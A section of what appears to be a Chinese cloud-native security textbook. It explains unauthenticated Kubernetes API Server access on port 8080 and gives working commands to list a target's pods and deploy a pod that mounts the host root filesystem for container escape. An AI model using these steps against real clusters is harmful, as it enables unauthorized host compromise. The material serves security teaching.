4.2.1 Kubernetes API Server未授权访问

在一个Kubernetes集群中,API Server处于通信的中枢位置,是集群控制平面的核心,各组件通过API Server进行交互。

默认情况下,API Server能够在两个端口上对外提供服务:8080和6443,前者以HTTP提供服务,无认证和授权机制;后者以HTTPS提供服务,支持认证和授权服务。在较新版本的Kubernetes中,8080端口的HTTP服务默认不启动。然而,如果用户在/etc/kubernetes/manifests/kube-apiserver.yaml中将--insecure-port=0修改为--insecure-port=8080并重启API Server,那么攻击者只要网络可达,都能够通过此端口操控集群[1]

例如,我们能够直接远程列出目标机器上运行的Pod:


root@k8s:~# kubectl -s $TARGETIP:8080 get pod
NAME     READY   STATUS    RESTARTS   AGE
victim   1/1     Running   3          88d

我们还能够创建一个挂载宿主机目录的Pod进行容器逃逸,进一步尝试获得宿主机权限[2],相关操作如下:


cat << EOF > escape.yaml
# attacker.yaml
apiVersion: v1
kind: Pod
metadata:
    name: attacker
spec:
    containers:
    - name: ubuntu
        image: ubuntu:latest
        imagePullPolicy: IfNotPresent
        # Just spin & wait forever
        command: [ "/bin/bash", "-c", "--" ]
        args: [ "while true; do sleep 30; done;" ]
        volumeMounts:
        - name: escape-host
            mountPath: /host-escape-door
    volumes:
        - name: escape-host
            hostPath:
                path: /
EOF
kubectl -s TARGET-IP:8080 apply -f escape.yaml
sleep 8
kubectl -s TARGET-IP:8080 exec -it attacker /bin/bash

结果如图4-2所示。

图4-2 在容器内访问宿主机文件系统

[1] API Server默认监听127.0.0.1,但可修改。

[2] 随 书代码仓库路径:https://github.com/brant-ruan/cloud-native-security-book/blob/main/code/0402-Kubernetes组件不安全配置/deploy_escape_pod_on_remote_host.sh。